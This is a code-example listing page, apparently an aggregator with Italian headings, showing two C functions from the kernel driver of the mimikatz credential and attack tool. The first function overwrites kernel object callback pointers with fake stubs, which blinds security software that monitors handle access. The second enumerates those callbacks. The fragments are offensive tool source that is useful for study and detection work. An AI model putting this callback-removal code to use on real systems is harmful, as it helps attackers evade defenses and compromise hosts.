Esempi in C++ (Cpp) per kkll_m_notify_desc_object_callback

Esempio n. 1

File: kkll_m_notify.c Progetto: Andy10101/mimikatz

NTSTATUS kkll_m_notify_remove_object(SIZE_T szBufferIn, PVOID bufferIn, PKIWI_BUFFER outBuffer)
{
	NTSTATUS status = STATUS_INVALID_HANDLE;
	POBJECT_CALLBACK_ENTRY pCallbackEntry; 
	
	if(bufferIn && (szBufferIn == sizeof(POBJECT_CALLBACK_ENTRY)))
	{
		if(pCallbackEntry = *(POBJECT_CALLBACK_ENTRY *) bufferIn)
		{
			status = kkll_m_notify_desc_object_callback(pCallbackEntry, outBuffer);
			if(NT_SUCCESS(status))
			{
				if(pCallbackEntry->PreOperation && kkll_m_notify_fakePre)
					pCallbackEntry->PreOperation = kkll_m_notify_fakePre;
				if(pCallbackEntry->PostOperation && kkll_m_notify_fakePost)
					pCallbackEntry->PostOperation = kkll_m_notify_fakePost;

				status = kkll_m_notify_desc_object_callback(pCallbackEntry, outBuffer);
			}
		}
	}


	return status;
}

Esempio n. 2

File: kkll_m_notify.c Progetto: MaxwellSun/mimikatz

NTSTATUS kkll_m_notify_list_object(PKIWI_BUFFER outBuffer)
{
	NTSTATUS status = STATUS_SUCCESS;
	POBJECT_DIRECTORY_ENTRY pEntry;
	ULONG_PTR pType;
	POBJECT_CALLBACK_ENTRY pCallbackEntry;
	ULONG i, j;
	PVOID miniProc;

	if(!ObpTypeDirectoryObject)
		status = kkll_m_notify_search(ObjectReferences, ARRAYSIZE(ObjectReferences), (PUCHAR *) &ObpTypeDirectoryObject, NULL, &pObpTypeDirectoryObjectOffsets);
	
	if(ObpTypeDirectoryObject)
	{
		for(i = 0; NT_SUCCESS(status) && (i < OBJECT_HASH_TABLE_SIZE); i++)
		{
			for(pEntry = (*ObpTypeDirectoryObject)->HashBuckets[i]; NT_SUCCESS(status) && pEntry; pEntry = pEntry->ChainLink)
			{
				if(pType = (ULONG_PTR) pEntry->Object)
				{
					status = kprintf(outBuffer, L"\n * %wZ\n", pType + pObpTypeDirectoryObjectOffsets->off1);
					if(KiwiOsIndex >= KiwiOsIndex_VISTA)
					{
						for(pCallbackEntry = *(POBJECT_CALLBACK_ENTRY *) (pType + pObpTypeDirectoryObjectOffsets->off3) ; NT_SUCCESS(status) && (pCallbackEntry != (POBJECT_CALLBACK_ENTRY) (pType + pObpTypeDirectoryObjectOffsets->off3)) ; pCallbackEntry = (POBJECT_CALLBACK_ENTRY) pCallbackEntry->CallbackList.Flink)
							status = kkll_m_notify_desc_object_callback(pCallbackEntry, outBuffer);
					}
					for(j = 0; NT_SUCCESS(status) && (j < 8) ; j++)
					{
						if(miniProc = *(PVOID *) (pType + pObpTypeDirectoryObjectOffsets->off2 + (sizeof(PVOID) * j)))
						{
							status = kprintf(outBuffer, L"\t%s - ", procCallToName[j]);
							if(NT_SUCCESS(status))
								status = kkll_m_modules_fromAddr(outBuffer, miniProc);
						}
					}
				}
			}
		}
	}
	return status;
}